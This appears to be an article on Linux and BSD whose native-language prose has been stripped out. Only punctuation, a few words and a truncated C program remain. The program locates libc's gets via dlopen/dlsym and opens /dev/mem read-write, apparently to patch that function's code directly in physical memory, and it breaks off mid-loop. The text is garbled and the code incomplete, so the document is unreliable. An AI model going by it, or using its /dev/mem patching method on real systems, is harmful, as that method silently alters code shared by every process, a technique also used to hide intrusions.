linux bsd


         

,


, , . C3h . , ' :

#include <stdio.h>

#include <fcntl.h>

#include <dlfcn.h>

main(int c, char **v)

{

#define PAGE_SIZE 0x1000 // ( !)

#define MIN_SG_SIZE 0x10 //

#define LIB_NAME "libc.so.6" // .

#define FNC_NAME "gets" //

#define MAX_MEM (512*1024/4) // . . ( BSD)



int a, fd;

unsigned char *p;

int f=0; char *p_lib, *p_fnc;

int fuck_a; char fuck[]="-\\|/";

unsigned char page_buf[PAGE_SIZE];



//



if (c<3) p_lib=LIB_NAME,p_fnc=FNC_NAME; else p_lib=v[1],p_fnc=v[2];

printf("patch %s::%s\n",p_lib,p_fnc);



//

p = dlopen(p_lib,RTLD_NOW);if (!p) return printf("%s not found\n",p_lib);

p = dlsym(p,p_fnc); if (!p) return printf("%s not found\n",p_fnc);



//

if (((unsigned int)p)%PAGE_SIZE < MIN_SG_SIZE)

return printf("can't find func! too close to end of the page!\n"\

"decrease MIN_SG_SIZE and try again!\n");



// /dev/mem

if ((fd=open("/dev/mem",O_RDWR,0))==-1) return printf("/dev/mem open error\n");



// (.)

if (lseek(fd, 0, SEEK_SET) == -1) return -1;



// /dev/mem

while(fuck_a<MAX_MEM)

{

//